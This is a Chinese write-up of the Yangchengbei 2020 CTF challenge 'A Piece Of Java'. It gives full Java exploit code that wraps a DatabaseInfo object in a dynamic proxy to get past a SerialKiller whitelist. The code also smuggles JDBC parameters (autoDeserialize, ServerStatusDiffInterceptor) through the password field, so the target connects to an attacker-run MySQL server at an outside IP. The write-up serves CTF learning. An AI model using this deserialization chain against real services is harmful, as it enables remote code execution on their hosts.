本文最后编辑于 前,其中的内容可能需要更新。
[羊城杯 2020]A Piece Of Java
源码逻辑不难,在hello对设置cookie键名为data进行反序列化

问题是用的是seriakiller进行的反序列化,并且用的白名单限制。

虽然题目自带了CC但是因为这个设置没法直接用。
看一下题目给的条件,有个InfoInvocationHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package gdufs.challenge.web.invocation;
import gdufs.challenge.web.model.Info; import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method;
public class InfoInvocationHandler implements InvocationHandler, Serializable { private Info info;
public InfoInvocationHandler(Info info) { this.info = info; }
public Object invoke(Object proxy, Method method, Object[] args) { try { if (method.getName().equals("getAllInfo") && !this.info.checkAllInfo().booleanValue()) return null; return method.invoke(this.info, args); } catch (Exception e) { e.printStackTrace(); return null; } } }
|
这个invoke肯定是能利用的,关键就在这

回到刚刚的hello路由,反序列化之后调用了info.getAllInfo()
1 2 3
| Info info = (Info)deserialize(cookieData); if (info != null) model.addAttribute("info", info.getAllInfo());
|
再看给的DatabaseInfo类

所以思路很明确,利用动态代理触发InfoInvocationHandler的invoke方法,之后触发connect进行jdbc反序列化
调用链
1
| 反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()
|
这里最开始想的是利用恶意mysql读文件的,但貌似某个配置没开所以没成功。
写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package YCB2020;
import gdufs.challenge.web.invocation.InfoInvocationHandler; import gdufs.challenge.web.model.DatabaseInfo; import gdufs.challenge.web.model.Info; import org.nibblesec.tools.SerialKiller;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Base64;
public class exp { public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); }
public static Object unserialize(byte[] bytes) throws Exception{ Object obj; try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes); ObjectInputStream oin = new ObjectInputStream(bain)){ obj = oin.readObject(); return obj; } } public static byte[] serialize(Object o) throws Exception{ try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(o); return baout.toByteArray(); } }
private static Object deserialize(String base64data) { Object obj; ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data)); try { SerialKiller serialKiller = new SerialKiller(bais, "/Users/fmyyy/tools/serialkiller.conf"); obj = serialKiller.readObject(); serialKiller.close(); } catch (Exception e) { e.printStackTrace(); return null; } return obj; }
public static void main(String[] args) throws Exception { Info databaseInfo = new DatabaseInfo(); setFieldValue(databaseInfo, "host", "47.101.176.40"); setFieldValue(databaseInfo, "port", "33060"); setFieldValue(databaseInfo, "username", "fmyyy"); setFieldValue(databaseInfo, "password", "fmyyy&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"); Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Info.class); construct.setAccessible(true);
InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo); Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler); byte[] bytes = serialize(proxinfo); byte[] payload = Base64.getEncoder().encode(bytes); System.out.print(new String(payload));
} }
|
恶意mysql和jdbc反序列化的利用参考https://ego00.blog.csdn.net/article/details/120963327

